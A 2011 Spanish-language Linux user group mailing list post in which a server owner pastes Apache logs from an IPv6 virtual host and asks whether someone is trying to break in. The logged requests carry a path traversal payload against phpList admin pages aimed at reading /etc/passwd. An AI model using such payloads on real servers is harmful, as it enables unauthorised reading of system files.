[LUG.ro] Logs extraños en apache2 con IPv6

Horacio horacio9573 en gmail.com
Sab Mayo 28 12:29:23 ART 2011


Buenas... como poseo un host virtual en ipv6... he visto en los logs
que aparecen mensajes como estos...

2001:5c0:1000:b::415c - - [28/May/2011:09:48:26 -0300] "GET
//lists/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.0" 404 480 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
2001:5c0:1000:b::415c - - [28/May/2011:09:48:26 -0300] "GET
//newsletter/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.0" 404 485 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
2001:5c0:1000:b::415c - - [28/May/2011:09:48:27 -0300] "GET
//news/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.0" 404 480 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
2001:5c0:1000:b::415c - - [28/May/2011:09:48:28 -0300] "GET
//phplist/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.0" 404 483 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
2001:5c0:1000:b::415c - - [28/May/2011:09:48:28 -0300] "GET
//phpList/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.0" 404 483 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
2001:5c0:1000:b::415c - - [28/May/2011:09:48:29 -0300] "GET
//admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.0" 404 477 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
2001:5c0:1000:b::415c - - [28/May/2011:09:48:30 -0300] "GET
//phplist/lsts/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.0" 404 486 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
2001:5c0:1000:b::415c - - [28/May/2011:09:48:30 -0300] "GET
//phplists/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.0" 404 483 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"


Me sospecho que quieren hackearme el servidor... ipv6... por el error
404 supongo que no han podido...

Si alguien me pude explicar que pasa se lo agradecería... y que me
recomendarían para que en la afirmativa mejorar la seguridad...

Saludos...


Más información sobre la lista de distribución Lugro